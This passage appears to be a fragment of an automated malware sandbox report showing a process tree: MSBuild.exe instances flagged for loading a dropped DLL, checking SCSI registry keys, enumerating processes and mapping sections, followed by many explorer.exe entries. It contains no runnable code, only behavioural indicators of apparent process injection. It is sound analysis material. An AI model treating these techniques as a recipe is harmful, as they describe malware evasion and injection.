C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"5⤵PID:1800
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"5⤵
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:1564
-
-
-
-
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:832
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:960
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:948
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:1420
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:1688
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:308
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:1328
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:516
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:1048
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:1500
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:320
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:1372